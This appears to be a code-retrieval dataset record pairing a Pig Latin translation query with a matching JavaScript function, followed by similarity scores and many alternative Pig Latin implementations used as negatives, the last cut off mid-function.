[ "0.58569145", "0.5665532", "0.5645453", "0.5569324", "0.55630755", "0.5529976", "0.54877365", "0.5443319", "0.5432199", "0.54247475", "0.5406592", "0.5392691", "0.537888", "0.5371154", "0.5356188", "0.5353063", "0.5345239", "0.53202206", "0.53168344", "0.5303626", "0.5265873", "0.52635974", "0.5262286", "0.52426755", "0.5231248", "0.5215516", "0.5188262", "0.518317", "0.51729536", "0.5160744", "0.51594186", "0.5156136", "0.5153434", "0.51445955", "0.51439923", "0.5141825", "0.5134521", "0.5132746", "0.51311755", "0.51241595", "0.5121632", "0.5108414", "0.5096721", "0.5092178", "0.5091829", "0.50871974", "0.50867003", "0.50846064", "0.50840425", "0.50796556", "0.5077563", "0.507219", "0.50649196", "0.5052611", "0.5052592", "0.50486785", "0.504643", "0.5043632", "0.5042728", "0.5039829", "0.50376624", "0.5034061", "0.5021644", "0.50156516", "0.501217", "0.5010524", "0.50061554", "0.50059336", "0.50058436", "0.50048447", "0.5003119", "0.49859813", "0.49825415", "0.4977389", "0.49770045", "0.4974772", "0.49742374", "0.49722436", "0.49715725", "0.4967544", "0.49669856", "0.49598402", "0.49597034", "0.4955494", "0.49545127", "0.49542898", "0.49540013", "0.49538878", "0.4950861", "0.49497715", "0.49441716", "0.4941351", "0.49403077", "0.49400586", "0.49350157", "0.4933812", "0.49317345", "0.49301755", "0.49294168", "0.49281538", "0.4920438" ]
0.0
-1
Pig Latin Translate the provided string to pig latin. Pig Latin takes the first consonant (or consonant cluster) of an English word, moves it to the end of the word and suffixes an "ay". If a word begins with a vowel you just add "way" to the end.
function translatePigLatin(str) { var vowels = ['a', 'e', 'i', 'o', 'u', 'y']; var newString; if (vowels.indexOf(str[0]) === -1) { if (vowels.indexOf(str[1]) !== -1) { newString = str.substring(1) + str[0] + "ay"; } else { newString = str.substring(2) + str.substring(0, 2) + "ay"; } } else { newString = str + "way"; } return newString; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function translatePigLatin(str) {\n if (str.match(/^[aeiou]/)) return str + \"way\";\n\n const consonantCluster = str.match(/^[^aeiou]+/)[0];\n return str.substring(consonantCluster.length) + consonantCluster + \"ay\";\n}", "function translatePigLatin (str) {\n if (str[0].match(/[aeiou]/)) {\n return str + 'way';\n }\n let consonants = str.match(/[^aeiou]+/);\n\n return str.substring(consonants[0].length).concat(consonants, 'ay');\n}", "function translatePigLatin(str) {\n var re = /[aeiou]/i;\n if( re.test(str[0]) ) {\n return str + 'way';\n } else {\n for(var i = 1; i < str.length; i++) {\n if(re.test(str[i]) ) {\n return str.substr(i) + str.substr(0, i) + 'ay';\n }\n }\n }\n}", "function translatePigLatin(str) {\n // var vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"];\n // re = /^[b-z&&[^eiou]]+$/gi;\n re = /[aeiou]+/;\n if(re.test(str[0])){\n return str + \"way\";\n }\n var vowel = str.indexOf(str.match(re));\n str = str.substring(vowel,) + str.substring(0, vowel) + \"ay\";\n\n return str;\n}", "function translatePigLatin(str) {\n const regex = /^[^aeiou]+/g;\n const consonants = str.match(regex);\n if (consonants == null) {\n str = str.concat('way');\n }\n else {\n str = str.replace(regex, '').concat(consonants).concat('ay');\n }\n return str;\n}", "function translateToPigLatin(word) { //defining function to break up the word, add 1st to end and ay to end\n return word.slice(1, word.length) + word[0] + \"ay\";\n}", "function translatePigLatin(str) {\n\tlet vowels = /[aeiou]/;\n\tlet index = 0;\n\tlet consonants = '';\n\t\n\tif (vowels.test(str[0])) {\n\t\tstr = str + \"way\";\n\t} else {\n \tfor (let i = 0; i < str.length; i++) {\n\t\t\tif (!vowels.test(str[i])) {\n\t\t\t\tconsonants += str[i];\n\t\t\t\tindex++;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t} \n\t\t}\n\t\tstr = str.slice(index) + consonants + 'ay';\n\t}\n\treturn str;\n}", "function translatePigLatin(str) {\n \n var regex = /[aeiou]/gi;\n \n if (str[0].match(regex)) {\n str = str + 'way';\n \n } else {\n var vowelIndice = str.indexOf(str.match(regex)[0]);\n str = str.substr(vowelIndice) + str.substr(0, vowelIndice) + 'ay';\n }\n return str;\n}", "function translatePigLatin(str) {\n var result = \"\";\n var minorPiece = \"\";\n var majorPiece = \"\";\n var startsWithAVowel = startsWithVowel(str);\n if (startsWithAVowel){\n result = str + \"way\";\n } else {\n minorPiece = getFirstConsonantPiece(str);\n majorPiece = str.substring(minorPiece.length);\n result = majorPiece + minorPiece + \"ay\";\n }\n \n return result;\n}", "function translatePigLatin(str) {\n // Detect only the first vowel and split\n let splitIt = str.split(/[aeiou]/, 1);\n // if the first char is a vowel\n if(splitIt[0].length == 0){\n return str + \"way\";\n }\n // anything else\n return str.slice(splitIt[0].length) + splitIt[0] + \"ay\";\n}", "function translatePigLatin(str) {\n var notCons = ['a', 'e', 'i', 'o', 'u'];\n \n if(notCons.includes(str.charAt(0))){\n return str+\"way\";\n }\n \n //This variable is used to get the first instance of a vowel within the word. It is an arbitrarily large number.\n //This is needed for words that may have multiple vowels.\n var first = 100;\n \n for(var i=0; i<notCons.length; i++){\n if(str.indexOf(notCons[i])<first && str.indexOf(notCons[i]) >= 0){\n first = str.indexOf(notCons[i]);\n }\n }\n \n var pre = str.substr(0,first);\n str = str.replace(pre,\"\");\n\n return str.concat(pre+\"ay\");\n}", "function translatePigLatin(str) {\n // My code\n // We write a regex to search for the occurence of a consonant word or cluster at the start of str.\n let consonantRgx = /^[^aeiou]+/;\n // We check if a consonant word or cluster is found. The .test() method returns a boolean true or false.\n if (consonantRgx.test(str)) {\n // We use the match() method to assign the consonant word or cluster found at the start of str to a variable.\n let consonant = str.match(consonantRgx);\n // We use the replace() method to replace the matched consonant word or cluster with an empty string.\n // Example: 'leaped' becomes 'eaped', and 'them' becomes 'em'.\n let newStr = str.replace(consonantRgx, '');\n // We return newStr concatenated with the removed consonant word or cluster and 'ay'.\n // Example: 'eaped' now becomes 'eaped' += 'l' + 'ay'.\n return newStr += consonant + 'ay';\n }\n // If str doesn't start with a consonant word or cluster , we just concatenate str with 'way'.\n return str + 'way';\n // My code\n}", "function translatePigLatin(str) {\n\tconst vowels = ['a', 'e', 'i', 'o', 'u'];\n\tconst splits = str.split('');\n\n\tfor (let i = 0; i < vowels.length; i++) {\n\t\tif (str[0] === vowels[i]) {\n\t\t\treturn str + 'way';\n\t\t}\n\t}\n\n\tfor (var i = 0; i < splits.length; i++) {\n\t\tfor (var j = 0; j < vowels.length; j++) {\n\t\t\tif (splits[i] === vowels[j]) {\n\t\t\t\tvar consonant = splits.splice(0, i);\n\t\t\t\tconsole.log(consonant, splits.join(''));\n\n\t\t\t\treturn splits.join('') + consonant.join('') + 'ay';\n\t\t\t}\n\t\t}\n\t}\n\treturn splits.join('') + 'ay';\n}", "function myTranslatePigLatin(str) {\n const regex = /(^[b-df-hj-np-tv-z]+)(\\w*)/g;\n if (regex.test(str)){\n return str.replace(regex, '$2$1ay');\n }\n return str.concat('way');\n}", "function translatePigLatin(str) {\nvar vowels= \"aeiou\".split(\"\"), index=0;\n\n if(vowels.indexOf(str[index])!== -1){ //initial edge case\n return str+\"way\";\n }\n for(index=1;index<str.length;index++){\n if(vowels.indexOf(str[index]) !==-1){//first vowel found\n break;\n }\n }\nreturn str.slice(index,str.length)+str.slice(0, index)+ \"ay\";\n}", "function translatePigLatin(str) {\n return str\n .replace(/^[aeiou]\\w*/, \"$&way\")\n .replace(/(^[^aeiou]+)(\\w*)/, \"$2$1ay\");\n}", "function translatePigLatin(str) {\nlet consonantRegex = /^[^aeiou]+/;\nlet newConsonants = str.match(consonantRegex)\nreturn newConsonants !== null\n? str\n.replace(consonantRegex,\"\")\n.concat(newConsonants)\n.concat(\"ay\")\n: str.concat(\"way\")\n}", "static translatePigLatin(str) {\n\n // the short form:\n //return str.replace(/(^[aeiou])(.*)/,\"$1$2way\").replace(/(^[^aeiou]+)(.*)/,\"$2$1ay\");\n\n // The readable form:\n function translateWordsStartingWithVowel(str) {\n return str.replace(/(^[aeiou])(.*)/,\"$1$2way\");\n }\n\n function translateWordsStartingWithConsonants(str) {\n return str.replace(/(^[^aeiou]+)(.*)/,\"$2$1ay\"); \n }\n \n return translateWordsStartingWithConsonants(translateWordsStartingWithVowel(str));\n \n }", "function translatePigLatin(str) {\n let vowelRegex = /[aeiou]+\\w+/;\n let consonantRegex = /^[^aeiou]+/;\n let vowels = str.match(vowelRegex) || [];\n let consonant = str.match(consonantRegex) || [];\n let suffix = (consonant.length > 0) ? ['ay'] : ['way'];\n return vowels.concat(consonant).concat(suffix).join('');\n}", "function translatePigLatin(str) {\n let consonantRegex = /^[^aeiou]+/;\n \n let myConsonants = str.match(consonantRegex);\n \n return myConsonants !== null ? str.replace(consonantRegex, \"\").concat(myConsonants).concat('ay') : str.concat('way')\n \n }", "function translatePigLatin(str) {\n let regex = /[aeiou]/ig;\n let notVowel = /^[^aeiou]+/ig\n \n\n // if first letter is a vowel then add \"way\" at the end of the string\n if (regex.test(str[0])) {\n return str + \"way\";\n }\n // if the string doesn't contain any vowels add \"ay\" at the end \n if (regex.test(str) === false) {\n return str + \"ay\";\n }\n // if the string contains vowels and the first letter isn't a vowel, return the collection\n // of cononants plus \"ay\" at the end of the string\n let firstConsonants = str.match(notVowel).join(\"\");\n \n return str.replace(firstConsonants, \"\") + firstConsonants + \"ay\";\n}", "function pigTrans(string) {\n if (typeof string !== 'string') return undefined;\n const strArr = string.split(' ');\n return strArr.map(word => {\n return word\n .replace(/^[aeiou]\\w*/, \"$&way\")\n .replace(/(^[^aeiou]+)(\\w*)/, \"$2$1ay\");\n }).join(' ');\n }", "function toPigLatin(str) {\n var pigLatin = '';\n var vowel = new RegExp('[aeiouy]', \"g\");\n\n if (str[0].match(vowel)) {\n pigLatin = str + 'way';\n\n } else {\n\n var vowelIndice = str.indexOf(str.match(vowel)[0]);\n pigLatin = str.substr(vowelIndice) + str.substr(0, vowelIndice) + 'ay';\n }\n\n return pigLatin;\n}", "function translatePigLatin(str) {\n\n\tconst vowels = /[aeiou]/;\n\t// edge case where no vowels present\n\tif (null === str.match(vowels)) {\n\t\tconsole.log('no vowels');\n\t\treturn str + 'ay';\n\n\t}\n\telse {\n\t\t// main swapping for rest of cases:\n\t\tconst pattern = /^([^aeiou]+)(.+)/;\n\t\tlet result = str.replace(pattern, '$2$1')\n\n\t\tif (result.substr(0,1) !== str.substr(0,1)) {\n\t\t\tconsole.log('not vowel start');\n\t\t\tresult += 'ay';\n\t\t}\n\t\telse {\n\t\t\tconsole.log('vowel start');\n\t\t\tresult += 'way';\n\t\t}\n\t\t\n\t \treturn result;\n\t}\n}", "function translatePigLatin(str) {\n let arr = str.split(\"\");\n let newArr = [];\n let vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"];\n let arr1 = arr.slice();\n for(let i = 0; i < arr.length; i++){\n if(vowels.indexOf(arr[i]) >= 0){\n break;\n }\n else{\n newArr.push(arr1.shift());\n }\n }\n if(newArr.length > 0){\n newArr.push(...[\"a\", \"y\"]);\n }\n \n else{\n newArr.push(...[\"w\", \"a\", \"y\"]);\n }\n \n arr = arr1.concat(newArr);\n str = arr.join(\"\");\n return str;\n }", "function translatePigLatin2(str) {\n return str\n .replace(/^[aeiou]\\w*/, \"$&way\")\n .replace(/(^[^aeiou]+)(\\w*)/, \"$2$1ay\");\n}", "function toPigLatin(str) {\n var pigLatin = '';\n var vowel = new RegExp('[aeiouy]', \"g\");\n\n if (str[0].match(vowel)) {\n pigLatin = str + 'way';\n\n } else {\n\n var vowelIndice = str.indexOf(str.match(vowel)[0]);\n pigLatin = str.substr(vowelIndice) + str.substr(0, vowelIndice) + 'ay';\n }\n\n return pigLatin;\n}", "function translatePigLatin(str) {\n \n let result = ''; \n let regex = /^[bcdfghjklmnpqrstvwxys]+/gi\n let match = str.match(regex)\n \n \n if(match !== null){\n let num = match[0].length; \n result = str.slice(num) + match + 'ay' \n return result\n } else {\n result = str + 'way'\n return result; \n }\n\n }", "function translatePigLatin(str) {\n\n let vowels = /[aeiou]/;\n let consts = /[^aeiou]/;\n\n\n //if statement acts as an error prevention when using match.index, without it match.index finds a null value in words without vowels.\n if (str.includes(\"a\") || str.includes(\"e\")|| str.includes(\"i\")|| str.includes(\"o\")|| str.includes(\"u\")){\n //matches index of first vowel\n var index = str.match(vowels).index;\n //if the first letter of the word is not a vowel\n if (index !== 0) {\n //slice beginning from start of word UP TO first vowel\n let sliced = str.slice(0, index);\n console.log(sliced);\n //slice from first vowel to end, add letters before the vowel and add \"ay\"\n return str.slice(index) + sliced + 'ay';\n } else {\n //if first letter is a vowel, just add way to end\n return str + \"way\"\n } \n } else {\n //if no vowel is in word, add ay to end\n return str + \"ay\"\n }\n }", "function translatePigLatin(str) {\n var consonant = [];\n // returns first element that matches vowel regex \n function findFirstVowel(element) {\n if (element.match(/[aeiou]/i) !== null) {\n return element;\n }\n }\n // if the first char of str is a vowel -> add way to end \n if (str[0].match(/[aeiou]/i)) {\n str = str + \"way\";\n } else {\n // else split str into array\n str = str.split(\"\");\n // suffix array to be pushed onto new string\n var suffix = [\"a\", \"y\"];\n\n // calls findIndex() of letter returned from findFirstVowel(str) --> that index is number of elements to remove \n var numToRemove = str.findIndex(findFirstVowel);\n // starting at index 0 - remove numToRemove letters and save to consonant \n consonant = str.splice(0, numToRemove);\n // push suffix onto end of consonant\n consonant.push(...suffix);\n\n // push consonant onto end of str\n str.push(...consonant);\n // Join str into string \n str = str.join(\"\");\n }\n\n return str;\n}", "function translatePigLatin(str) {\n //check if srting start with consonant\n //convert str to array\n let arr = [...str.toLowerCase()];\n let vowels = ['a', 'e', 'i', 'o', 'u'];\n let firstConsonants = [];\n //if str strat with vowle add 'way' to the end\n if(vowels.indexOf(arr[0]) !== -1){\n return str + \"way\";\n }\n\n for (let char in arr) {\n if (!vowels.includes(arr[char])) {\n firstConsonants.push(arr[char]);\n } else {\n return arr.splice(char).join(\"\") + firstConsonants.join(\"\") + \"ay\";\n \n }\n } \n //if str start with consonant move the character to the end and add \"ay\" to the end of it \n\n}", "function pigLatinify(sentence) {\n const words = sentence.split(' ');\n\n const translateWord = (word) => {\n vowels = 'aeiou'.split('');\n if (vowels.indexOf(word[0]) != -1) {\n return `${word}ay`;\n } else {\n let phonemeEnd = 0;\n while (!(vowels.indexOf(word[phonemeEnd]) != -1)) {\n phonemeEnd += 1;\n }\n\n if (word[phonemeEnd - 1] === 'q') phonemeEnd += 1;\n return `${word.slice(phonemeEnd)}${word.slice(0, phonemeEnd)}ay`;\n }\n };\n\n return words.map(word => translateWord(word)).join(' ');\n}", "function translatePigLatin(str) {\n let newStr = '';\n\n for (let i = 0; i < str.length; i++) {\n if (str[i] === 'a' || str[i] == 'e' || str[i] == 'i' || str[i] == 'o' || str[i] == 'u') {\n // console.log(str[i], newStr.length);\n if (newStr.length < 1) {\n return str + 'way';\n } else {\n return str.slice(i, str.length) + newStr + 'ay';\n }\n }\n newStr += str[i];\n }\n\n return newStr;\n}", "function translatePigLatin1(str) {\n let consonantRegex = /^[^aeiou]+/;\n let myConsonants = str.match(consonantRegex);\n return myConsonants !== null\n ? str\n .replace(consonantRegex, \"\")\n .concat(myConsonants)\n .concat(\"ay\")\n : str.concat(\"way\");\n}", "function pigLatin(stringEntered) {\n let arrayOfWords = stringEntered.slice(0, -1).split(\" \");\n let resultingArray = [];\n for (word of arrayOfWords) {\n let newWord = \"\";\n if (\n word[0] === \"a\" ||\n word[0] === \"e\" ||\n word[0] === \"i\" ||\n word[0] === \"o\" ||\n word[0] === \"u\"\n ) {\n newWord = word + \"way\";\n } else {\n newWord = word.slice(1) + word[0] + \"ay\";\n }\n if (word[0] === word[0].toUpperCase()) {\n newWord = newWord[0].toUpperCase() + newWord.slice(1).toLowerCase();\n }\n resultingArray.push(newWord);\n }\n return resultingArray.join(\" \");\n}", "function pigLatin(str) {\n let vowels = \"aeiouAEIOU\";\n str = str.replace(\".\", \"\");\n const strArr = str.split(\" \");\n //\n const newStrArr = [];\n strArr.map((word) => {\n if (vowels.includes(word[0])) {\n word += \"way\";\n newStrArr.push(word);\n } else {\n let firstLetter = word[0].toLowerCase();\n let newWord = word.slice(1);\n newStrArr.push(newWord + firstLetter + \"ay\");\n }\n });\n //\n let capital = newStrArr[0][0].toUpperCase();\n const output = newStrArr[0].replace(newStrArr[0][0], capital);\n newStrArr.shift();\n newStrArr.unshift(output);\n\n console.log(newStrArr.join(\" \") + \".\");\n}", "function translatePigLatin(str) {\n if(str.match(/^[aeiou]/)){\n return str + 'way'\n } else if (str.match(/[^aeiou]+$/gi)){\n console.log('a') \n } \n let newArr = []\n let arr = str.split(/([aeiou].*)/)\n newArr.push(arr[1], arr[0] + 'ay')\n str = newArr.join('')\n return str\n}", "function translatePigLatin(str) {\n\nlet myRegex = /^([aeiou])/\n\nreturn str\n .replace(/^[aeiou]\\w*/,\"$&way\")\n .replace(/(^[^aeiou]+)(\\w*)/, \"$2$1ay\");\n\n \n}", "function pigLatin(str = \"\") {\n let vowel = [\"e\", \"i\", \"o\", \"y\", \"a\"];\n let arr = str.split(\"\");\n let result = [];\n\n if (vowel.includes(str[0])) return str.concat('way');\n for (let i = 0; i < arr.length; i++) {\n if (!vowel.includes(arr[i])) {\n result.push(arr.splice(0, 1)[0]);\n }\n\n }\n result.forEach((el) => arr.push(el));\n arr.push('ay')\n return arr.join('');\n}", "function pigLatin(myString) {\n\n // check if the first letter is a vowel or consonant\n // first letter is consonant\n // then move it to the back and put an \"ay\" after\n // first letter is a vowel\n // just an an \"ay\" at the end\n\n let vowels = ['a', 'e', 'i', 'o', 'u'];\n\n // if I get a sentence, how do I know when a word ends or begins\n // Ex: \"the quick brown fox jumps over the lazy dog\"\n\n const wordArray = myString.split(' '); // This separates every word for whatever I put in the string \"myString\"\n\n let newWordArray = [];\n\n for (let word of wordArray){\n if(word[0] == 'a' || word[0] == 'e' || word[0] == 'i' || word[0] == 'o' || word[0] == 'u'){\n word += 'ay' // Here we are ADDING an 'ay' to the end it is starts (index = [0]) with a vowel\n newWordArray.push(word)\n } else {\n let letters = word.split(''); // Here we are splitting each words into individual letters\n let shift = letters.shift(); // Here we are creating a variable called \"shift\" and setting it equal to removing the first letter of each word\n letters.push(shift, 'ay');\n word = letters.join(''); // Here we are overriding what word USED TO be equal to and setting it equal to letters.join('')\n // Notice: There is no space between the '' becasue we DO NOT want space between the letters\n newWordArray.push(word);\n }\n }\n console.log(newWordArray.join(' '));\n}", "function wordToPigLatin(word) {\n\n}", "function pigLatin(str){\n var vowels = {\n a: true, e: true, i: true,\n o: true, u: true\n };\n var len = str.length;\n \n if(str.charAt(0) in vowels){\n return str + 'way';\n }\n \n for(var i = 0; i < len; i++){\n if(str.charAt(i) in vowels){\n return str.substr(i, len) + str.substr(0, i) + 'ay';\n }\n }\n}", "function pigLatinify(text){\r\n var splitText = text.split(\" \");\r\n\r\n splitText.forEach(function(word, i) {\r\n if(word.length === 1){\r\n splitText[i] = word + \"ay\"\r\n }else if(word.substring(0, 1) === \"<\"){\r\n \r\n }else if(word.charAt(word.length - 1) === \".\"){\r\n splitText[i] = word.substring(1, word.length - 1) + word.substring(0, 1) + \"ay.\"\r\n }else{\r\n splitText[i] = word.substring(1) + word.substring(0, 1) + \"ay\"\r\n }\r\n });\r\n\r\n return splitText.join(\" \");\r\n}", "function changeToPigLatin(text) {\n\n var wordArray = text.split(\" \");\n var newtext = \"\";\n\n wordArray.forEach(element => {\n\n if (element[0] === 'a' || element[0] === 'e' || element[0] === 'i' || element[0] === 'u' || element[0] === 'o') {\n console.log(newtext.concat(element.slice(1, 6) + element[0] + \"way\"));\n }\n else if (getCount(element) === 1) {\n console.log(newtext.concat(element.slice(1, 7) + element[0] + \"ay\"));\n }\n else if (getCount(element) === 2) {\n console.log(newtext.concat(element.slice(2, 8) + element[0] + element[1] + \"ay\"));\n }\n\n });\n\n return text;\n}", "function sentenceToPigLatin(sentence_latinized){ \n\tvar sentencePieces = sentence_latinized.split(' '); \n\tvar vowel_s = [\"a\",\"A\",\"e\",\"E\",\"i\",\"I\",\"o\",\"O\",\"u\",\"U\"];\n\tvar word;\n\t// console.log(sentencePieces); \n\t\n\tfor( var i = 0; i < sentencePieces.length; i++) {\n\t\tword = sentencePieces[i] ;\n\t\tconsole.log('word', word)\n\t\tvar char_pos1= word.charAt(0); \n\t\t\t\t\n\t\t\t\t\n\t\tif (char_pos1 === \"a\" || char_pos1 === \"e\" || char_pos1 === \"i\" || char_pos1 === \"o\" || char_pos1 === \"u\"){ \n\t\t\t$(\".lati-n\").append( word + \"ay \");\n\t\t// console.log(word + \"ay\");\n\t\tconsole.assert(true, \"true\");\n\n\t\t} \n\t\t\n\t\telse{ \n\t\t// console.log(.substring(2)); -1 try for loop flip \n\t\t\t\t$(\".lati-n\").append(word.slice(2) + word.slice(0,2) + \"ay \");\n\t\t\tconsole.assert(false, \"false\"); \n\n\t\n\t\t}\n\t}\n}", "function str_to_piglatin(str){\n var temp = str.slice(0,1);\n if(isVowel(temp)){\n return str + \"ay\";\n }\n str = str.slice(1);\n if(str.match(/[,!.?]+/)){\n var match_punctuations = str.match(/[,!.?]+/).index;\n var punctuations = str.slice(match_punctuations);\n str = str.slice(0,match_punctuations);\n result = str + temp + \"ay\" + punctuations\n }else{\n result = str + temp + \"ay\"\n }\n return result;\n}", "function pigWord (word) {\n return word.slice(findFirstVowel(word), word.length) + '-' + word.slice( -word.length, findFirstVowel(word)) + 'ay';\n}", "function translatePigLatin(str){\n if(str.search(/[aeiou]/)==0){\n console.log(str+\"way\");\n return str+\"way\";\n }else{\n \n consonants = str.substr(0,str.search(/[aeiou]/));\n start = str.substr(str.search(/[aeiou]/));\n console.log(consonants);\n console.log(start);\n console.log( start + consonants +\"ay\");\n return start + consonants +\"ay\";\n\n }\n\n}", "function translate(str) {\n var first_letter,\n new_str,\n consonant_check = /^[^aeiou]+/,\n counter = 0,\n split_array = str.split(''),\n len = str.length;\n /*test if first letter is a vowel\n if so, concatenate way to end of string \n */\n if (!consonant_check.test(str[counter])) {\n return str + 'way';\n } else {\n //while word starts with a consonant, shift and add first_letter +'ay' to end\n while (consonant_check.test(str[counter])) {\n first_letter = split_array.shift();\n split_array.push(first_letter);\n counter++;\n }\n new_str = split_array.join('');\n new_str += 'ay';\n return new_str;\n }\n}", "function pigIt(str) {\n const matchObj = str.match(/(\\w+)/)\n if (matchObj === null) {return str}\n const word = matchObj[0]\n const pigWord = word.slice(1) + word[0] + 'ay'\n const beforeWord = str.slice(0, matchObj.index)\n const afterWord = str.slice(matchObj.index+word.length)\n return beforeWord + pigWord + pigIt(afterWord)\n}", "function getPigLatin(input){\n console.log\n let r =\"\";\n let start = \"\";\n let flg = false;\n let checkSC = false;\n let len =0;\n if(input[0] === input[0].toUpperCase()) flg = true;\n if(input[input.length-1].toUpperCase() === input[input.length-1].toLowerCase()) checkSC= true;\n if(checkSC) len = input.length-1;\n else len = input.length\n for(let i=0; i<len;i++){\n if(input[i] === 'a' || input[i]=== 'e' || input[i] === 'i' || input[i]==='o' || input[i]==='u'){\n start = input.slice(0,i)\n if(checkSC) r= (input.slice(i,len) + start + \"ay\"+ input[len]).toLowerCase();\n else r= (input.slice(i,len) + start + \"ay\").toLowerCase();\n\n break;\n }\n }\n if(flg) return r[0].toUpperCase()+r.slice(1);\n else return r;\n}", "function pigIt(str){\n let wordArr = str.split(' ')\n wordArr.forEach((word,i)=>{\n if(!\".?!\".includes(word)){\n wordArr[i] = word.slice(1) + word[0] + 'ay'\n }\n })\n return wordArr.join(' ')\n }", "function pigIt(str) {\r\n let temp = str.split(\" \");\r\n return temp\r\n .map(word => {\r\n return word.match(/[A-z]/i)\r\n ? `${word.substr(1)}${word.substr(0, 1)}ay`\r\n : word;\r\n })\r\n .join(\" \");\r\n\r\n}", "function toPigLatin() {\n\n\t//changes the user input from object to string\n\tvar $words = $(\"#pigLatinInput\").val().toString();\n\t//splits the string into a \"list\" of words (splitting at spaces)\n\tvar wordList = $words.split(\" \");\n\n\t//empty string that the translated words will end up in\n\tvar pigLatin = \"\";\n\n\t//interates over every word in the list\n\tfor (var i = 0; i < wordList.length; i++) {\n\t\tconst word = wordList[i];\n\t\t//only acts if there is content at the index (solves problem of excess spaces in user input)\n\t\t// if word is empty, go to next word\n\t\tif (!word) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"];\n\t\tconst firstLetterLower = word[0].toLowerCase();\n\n\t\t//if the word starts with a vowel, just \"way\" is added to the end of it\n\t\tif (vowels.includes(firstLetterLower)) {\n\t\t\tpigLatin += word + \"way \";\n\t\t} else {\n\t\t\t//translates the word to Pig Latin and adds it to the translated string\n\t\t\tpigLatin += word.slice(1) + firstLetterLower + \"ay \";\n\t\t}\n\t}\n\t//displays the translated string in the paragraph div\n\t$(\"#pigLatinResult\").text(pigLatin);\n}", "function simplePigLatin(str) {\r\n var words = str.split(' ');\r\n var patt = /[ `!@#$%^&*()_+\\-=\\[\\]{};':\"\\\\|,.<>\\/?~]/;\r\n for (let i = 0; i < words.length; i++) {\r\n if (patt.test(words[i])) continue;\r\n words[i] = `${words[i]}${words[i][0]}ay`\r\n words[i] = words[i].replace(words[i][0], '')\r\n }\r\n return words.join(' ');\r\n}", "function pigIt(str) {\n var words = str.split(' ')\n\n //letters.includes(/^[A-Za-z]+$/)\n var pigged = []\n\n words.forEach((word) => {\n var letters = word.split('')\n if (letters.length == 1 && letters[0] !== /^[A-Za-z]+$/) {\n letters.push(word[0])\n letters.splice(word[0], 1)\n var pigWord = letters.join('')\n pigged.push(pigWord)\n } else {\n letters.push(word[0])\n letters.splice(word[0], 1)\n letters.push('ay')\n var pigWord = letters.join('')\n pigged.push(pigWord)\n }\n // var letters = word.split('')\n // letters.push(word[0])\n // letters.splice(word[0], 1)\n // letters.push('ay')\n // var pigWord = letters.join('')\n // pigged.push(pigWord)\n })\n\n var piggedString = ''\n\n for(let i = 0; i < pigged.length; i++) {\n if (i < pigged.length -1) {\n piggedString = piggedString + pigged[i] + ' '\n } else {\n piggedString = piggedString + pigged[i]\n }\n \n }\n\n console.log(piggedString)\n\n}", "function pigIt(str){\n\treturn str.split('').map(el=> el.slice(1)+el.slice(0,1)+'ay').join('');\n\t//return str.split(' ').map(el=>el.substr(1) + el.charAt(0) + 'ay').join(' ');\n}", "function pigIt(str){\n let newArr = [];\n let arr = str.split(\" \");\n for (let i=0; i<arr.length; i++) {\n if (arr[i]!='?' && arr[i]!='!') {\n let word = arr[i];\n let letter = word.charAt(0);\n let newWord = word.slice(1) + letter + \"ay\";\n newArr.push(newWord);\n } else {\n newArr.push(arr[i]);\n }\n }\n return newArr.join(\" \");\n}", "function pigIt(str){\n var punctuation=[\",\",\"?\",\"!\",\";\",\":\",'\"'];\n var array=str.split(\" \");\n var last=array[array.length-1];\n var newArray=array.slice(0,-1)\n .map(function(element){\n return element.slice(1) + element[0] + \"ay\";\n });\n \n if(punctuation.indexOf(last) < 0){\n return (newArray.concat(last.slice(1)+last[0]+\"ay\")).join(\" \");\n }else{\n return (newArray.concat(last)).join(\" \");\n }\n \n }", "function translate(inputString) {\n let result = \"\";\n\n const seperator = /\\s+/;\n // Split string by spaces between words after trimming any spaces on the ends.\n // Treats multiple spaces as one separator\n // NOT CURRENTLY WORKING CORRECTLY, TODO: needs to handle trailing spaces, and different types of spaces\n let strArray = inputString.split(seperator);\n // console.log(strArray);\n // Runs through each split word and adds a space and the translated word to the result string\n for (let i = 0; i < strArray.length; i++) {\n // Check that this isn't the first word which doesn't need a space\n if (i > 0) {\n result += \" \";\n }\n result += getPigLatin(strArray[i]);\n\n }\n return result;\n}", "function pigIt(str){\n return str.split(' ').map(function(el){\n for(var i = 0; i < el.length; i ++){\n if(el.charCodeAt(i) > 64 && el.charCodeAt(i) < 91 || el.charCodeAt(i) > 96 && el.charCodeAt(i) < 123){\n return el.slice(1) + el.slice(0,1) + 'ay';\n } else {\n return el.slice(1) + el.slice(0,1)\n }\n }\n }).join(' ');\n}", "function translate(str) {\n\n str = str.toLowerCase().split('');\n\n if(str[0] === \"a\" || str[0] === \"e\" || str[0] === \"i\" || str[0] === \"o\" || str[0] === \"u\"){\n str.push(\"way\");\n } else {\n while(str[0] !== \"a\" && str[0] !== \"e\" && str[0] !== \"i\" && str[0] !== \"o\" && str[0] !== \"u\"){\n var holder = str[0];\n str.push(holder);\n str.splice(0, 1);\n }\n str.push(\"ay\");\n }\n\n str = str.join('');\n\n return str;\n}", "function pigPhrase (phrase) {\n var sentence = phrase.split(' ');\n var piggedPhrase = [];\n\n for (var i = 0; i <= sentence.length - 1; i++) {\n piggedPhrase.push(pigWord(sentence[i]));\n };\n return piggedPhrase.join(' ');\n}", "function pig(word) {\n first_let = word.charAt(0);\n all_other_let = word.replace(first_let, '');\n return all_other_let;\n}", "function pigIt(str){\n return str.replace(/(\\w)(\\w*)(\\s|$)/g, \"\\$2\\$1ay\\$3\")\n }", "function translate(phrase){\n\tvar newPhrase = \"\";\n\tfor (count=0; count<phrase.length; count++){\n\t\tnewPhrase = newPhrase + phrase[count];\n\t\tif (!isVowel(phrase[count]) && phrase[count] !== \" \"){\n\t\t\tnewPhrase = newPhrase + \"o\" + phrase[count];\n\t\t}\n\t}\n\treturn newPhrase;\n}", "function pigIt(str){\n return str.replace(/(\\w)(\\w*)(\\s|$)/g, \"\\$2\\$1ay\\$3\")\n}", "function pigIt(str){\n let a = str.split(' ');\n let newStr = '';\n \n return a.reduce((acc, prev) => {\n let pig = toPig(prev);\n if (a.indexOf(prev) === a.length - 1) {\n acc += pig;\n } else {\n acc += pig + ' ';\n }\n return 